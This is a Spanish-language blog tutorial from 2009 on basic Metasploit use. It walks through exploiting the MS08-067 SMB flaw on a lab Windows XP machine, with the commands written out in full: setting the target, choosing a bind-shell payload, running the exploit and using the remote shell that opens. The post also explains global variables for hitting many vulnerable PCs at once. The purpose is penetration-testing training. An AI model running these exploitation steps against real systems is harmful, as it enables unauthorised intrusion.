4 sept. 2009

Tutorial Metasploit: Uso básico y ejecución de exploits

Una vez que hemos hablado sobre Metasploit y lo hemos instalado y actualizado, llega el momento de ponerlo en funcionamiento. Hoy vamos a ver el manejo básico de la herramienta y de paso lanzaremos un exploit contra una maquina vulnerable, todo en entorno de laboratorio.
::Manejo Basico::
Para todas las pruebas vamos a utilizar la consola mfs. Desde Unix accedemos a ella mediante el binario “mfsconsole“. Desde Windows podemos acceder mediante la GUI, y una vez abierta haciendo click en Window->Console o con la combinación de teclas Ctrl+o.
Lo primero que vemos en la consola es un resumen de los exploits, payloads, encoders, etc, cargados en el entorno:
 ____________
< metasploit >
————
\   ,__,
\  (oo)____
(__)    )\
||–|| *

=[ msf v3.2-release
+ -- --=[ 262 exploits - 117 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 46 aux
El primer comando que deberíamos probar es "help", que nos muestra los comandos disponibles y una breve explicación de los mismos:
mfs_help
Por otro lado tenemos un sistema víctima a auditar. En nuestro caso se trata de un sistema virtual Windows XP que me ha proporcionado spanic. Dicho sistema es vulnerable al "Microsoft Security Bulletin MS08-067 – Critical", sobre el que ya hablé en su dia.
Nos hemos saltado un paso importante: identificar el sistema vulnerable. Habitualmente nadie usa Metasploit para ello aunque como veremos en futuros post es posible realizarlo desde él o importando directamente informes de aplicaciones como Nessus.
Para el caso que nos ocupa simplemente tenemos una máquina vulnerable en la IP 192.168.60.130 y nuestra máquina con el Metasploit instalado y la consola esperando a que explotemos la vulnerabilidad de la víctima.
Volvemos pues a la consola mfs. Es posible navegar los exploits, encoders, payloads, etc con el comando "show". Por ejemplo para listar los exploits disponibles utilizaremos el comando "show exploits", que nos da el siguiente resultado (recortado para un mejor entendimiento):
....
windows/smb/ms06_066_nwwks               Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi              Microsoft Server Service Relative Path Stack Corruption
windows/smb/msdns_zonename               Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
....

Como podemos apreciar el framework tiene disponible un exploit para la vulnerabilidad que queremos explotar (ms08_067_netapi).
Para situarnos en el exploit que queremos lanzar utilizamos el comando "use". Por ejemplo nosotros introduciremos el comando "use windows/smb/ms08_067_netapi". Como vemos el promt ha cambiado:
 msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 

Ahora necesitamos saber qué opciones permite este exploit y cómo configurarlo, seleccionar el objetivo, etc. En Metasploit esto se realiza mediante la modificación de variables asociadas a cada exploit. Para ver que opciones nos permite configurar un exploit determinado utilizamos el comando "info" (recortado para un mejor entendimiento):
 msf exploit(ms08_067_netapi) > info

Name: Microsoft Server Service Relative Path Stack Corruption
Version: 5888
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Provided by:
hdm <[email protected]>
Brett Moore <[email protected]></[email protected]></[email protected]>
Available targets:
Id  Name
--  ----
0   Automatic Targeting
1   Windows 2000 Universal
2   Windows XP SP0/SP1 Universal
3   Windows XP SP2 English (NX)
4   Windows XP SP3 English (NX)
.......
Basic options:
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload information:
Space: 400
Avoid: 8 characters
Description:
.....
References:
.....
Como podemos apreciar tenemos disponibles opciones para seleccionar el objetivo (RHOST), el puerto de smb (RPORT) y el pipe utilizado (SMBPIPE) y se nos informa de si son necesarios u opcionales. También hay abundante información acerca de sobre qué sistemas está probado el exploit, descripción del mismo, referencias, etc.
Para aplicar las opciones utilizamos el comando "set". Este comando recibe como primer parametro la opción y como segundo el valor a aplicar, separados por espacios. Esto quiere decir que si el valor de una variable tiene espacios debemos introducirlo entre comillas dobles. En nuestro caso estableceríamos el objetivo, puerto y pipe con la siguiente secuencia:
 msf exploit(ms08_067_netapi) > set RHOST 192.168.60.130
RHOST => 192.168.60.130
msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER
Ahora vamos a configurar el Payload. Vamos a utilizar uno sencillo que sirve para darnos acceso a una linea de comandos en la máquina víctima, si bien hay algunos muy elaborados como por ejemplo la inyección de dll's para conectarnos a la víctima por VNC.
Para ver los payloads disponibles tenemos la opción "show payloads", para elegir el que queremos usamos el comando "set". En nuestro caso:
 
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
Ahora con el comando "show options" podemos comprobar que los datos se han introducido correctamente:
 msf exploit(ms08_067_netapi) > show options
Module options:
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    192.168.60.130   yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_bind_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST     192.168.60.130   no        The target address
Exploit target:
Id  Name
--  ----
0   Automatic Targeting 
En este caso solo tenemos un sistema víctima posible (con ID 0), en caso de tener varios elegiríamos con "set target N".
Asímismo algunos exploits permiten la comprobación de la vulnerabilidad sin ejecutarla mediante el comando "check". Este no es el caso por lo que solo nos queda lanzar el exploit, para ello utilizamos el comando "exploit":
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability…
[*] Command shell session 1 opened (192.168.60.1:5953 -> 192.168.60.130:4444)

Microsoft Windows XP [Versi?n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
El sistema es nuestro ;)
Lo comprobamos ejecutando comandos sobre la shell que acabamos de obtener:
C:\WINDOWS\system32>ipconfig /all
ipconfig /all
Configuraci?n IP de Windows
Nombre del host . . . . . . . . . : spanic-08bcbab7
Sufijo DNS principal  . . . . . . :
Tipo de nodo. . . . . . . . . . . : mixto
Enrutamiento habilitado. . . . . .: No
Proxy WINS habilitado. . . . .    : No
Lista de b?squeda de sufijo DNS:    localdomain
Adaptador Ethernet Conexi?n de ?rea local          :
Sufijo de conexi?n espec?fica DNS : localdomain
Descripci?n. . . . . . . . . . .  : VMware Accelerated AMD PCNet Adapter
Direcci?n f?sica. . . . . . . . . : 00-0C-29-32-66-B3
DHCP habilitado. . . . . . . . .  : No
Autoconfiguraci?n habilitada. . . : S?
Direcci?n IP. . . . . . . . . . . : 192.168.60.130
M?scara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada   : 192.168.60.2
Servidor DHCP . . . . . . . . . . : 192.168.60.254
Servidores DNS . . . . . . . . . .: 192.168.60.2
Servidor WINS principal . . . . . : 192.168.60.2
Concesi?n obtenida . . . . . . .  : mi?rcoles, 11 de febrero de 2009 11:49:35
Concesi?n expira . . . . . . . . .: mi?rcoles, 11 de febrero de 2009 12:19:35
C:\WINDOWS\system32>
A destacar que hemos introducido las opciones para un objetivo concreto pero ¿y si tengo una lista de 50 pc’s con la misma vulnerabilidad y quiero explotarlos todos? ¿tengo que ir uno por uno ? Evidentemente la respuesta es no. En Metasploit podemos definir variables globales.
Para volver a la pantalla inicial tenemos el comando “back“. Una vez en la pantalla inicial podemos definir variables globales con el comando “setg“. Si por ejemplo queremos definir globalmente que el payload sea el que utilizamos en esta ocasión utilizamos:
 msf > setg payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
Después con “setg” comprobamos qué variables globales tenemos definidas con sus correspondientes valores:
msf > setg
Global
======
Name     Value
—-     —–
payload  windows/shell_bind_tcp
Si queremos guardar nuestras variables globales para que se queden incluso después de cerrar el Metasploit usamos el comando “save“:
msf > save
Saved configuration to: C:\Documents and Settings\dmedianero\Datos de programa/.msf3/config
Como podemos ver el framework nos informa de dónde queda guardada dicha configuración, es un fichero de texto en formato simple.
Hasta aqui lo que probablemente todos los que usáis Metasploit hayáis utilizado habitualmente, a partir de ahora intentaré poco a poco escribir sobre usos menos comunes y muy utiles como el manejo de jobs, uso otros payloads, BBDD, etc.

Fuente: http://dmedianero.byethost15.com/blog/

Author & Editor

Ingeniero Civil en Computación (Universidad de Chile FCFM) y Diplomado en Gestión y Evaluación de Proyectos TI (Universidad de Chile FEN). Actualmente trabajo como Project Manager en varios proyectos y como asesor tecnológico para empresas.

0 Notaciones:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (7) BlackHat (1) Blackploit (25) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (1) Conference (10) Cryptsetup (1) CSRF (1) DDoS (11) DEF CON (3) DEFCON (7) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Ezine (1) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (130) Hack Tips (63) Hacked (6) Hacking (18) Hacking Hardware (5) HashCat (1) Herramientas (121) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (1) Leaks (21) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (193) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (10) PDF (7) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (11) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (5) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (145) Seguridad Web (140) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (74) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Underc0de (1) UnderDOCS (1) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (48) Virtualización (2) Web T00LZ (17) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (66) Wireless Tools (13) XSS (16) Youtube (1)

 
biz.